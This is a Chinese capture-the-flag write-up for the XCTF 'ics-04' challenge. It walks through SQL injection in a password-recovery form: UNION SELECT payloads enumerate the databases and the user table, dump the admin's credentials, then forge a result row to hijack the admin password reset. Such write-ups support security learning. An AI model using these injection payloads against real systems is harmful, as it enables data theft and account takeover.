攻防世界ics-04解题思路

题目

攻防世界ics-04
工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

解题思路

打开题目提供的环境,发现整个页面只有注册、登录、找回密码功能是可以用的,尝试注册一个账户进行登录,提示普通用户登录成功,没什么用,可以猜测出题者的意图是让我们拿到管理员账号登录获得flag。
攻防世界ics-04解题思路_第1张图片
打开找回密码界面,随意输入一个用户名,发现界面上会提示没有这个用户,因此此处应该可以爆破用户名,但是如果用户名不是常见用户名就是白费体力了,先搁置。
攻防世界ics-04解题思路_第2张图片
在用户名输入框尝试SQL注入,发现注入成功,于是尝试从这里入手拿到用户密码。
攻防世界ics-04解题思路_第3张图片
构造SQL语句:' union select 1,2,group_concat(char(32,58,32),schema_name),4 from information_schema.schemata;#,可以列出所有的数据库名,发现题目用到的库是cetc004。
攻防世界ics-04解题思路_第4张图片
构造SQL语句:' union select 1,2,group_concat(char(32,58,32),column_name),4 from information_schema.columns where table_schema='cetc004' and table_name='user';#,可以列出user表中所有的字段。
攻防世界ics-04解题思路_第5张图片
直接列出user表中所有的数据:' union select 1,2,group_concat(char(32,58,32),username,',',password,',',question,',',answer),4 from cetc004.user;#,这里得到了管理员账号的用户名:c3tlwDmIn23,密码md5:2f8667f381ff50ced6a3edc259260ba9,密保问题:cetc,密保答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,。
攻防世界ics-04解题思路_第6张图片
但是尝试对密码md5进行解密时发现无法解密,而且进行重置密码时提示密保答案错误,因此到这里没有直接成功。
通过观察重置密码的http请求,发现总共是3个请求,而且不同用户名的cookie是不变的,猜测使用会话实现重置密码的功能,而会话是与用户名绑定的,因此我们可以构造一个SQL语句,使得查询出来的用户名是管理员的用户名,但是密保问题和答案是我们自己指定的,就可以成功重置密码了:' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','随意设置的问题','answer123333';#
在这里插入图片描述
攻防世界ics-04解题思路_第7张图片
攻防世界ics-04解题思路_第8张图片
攻防世界ics-04解题思路_第9张图片

你可能感兴趣的:(CTF)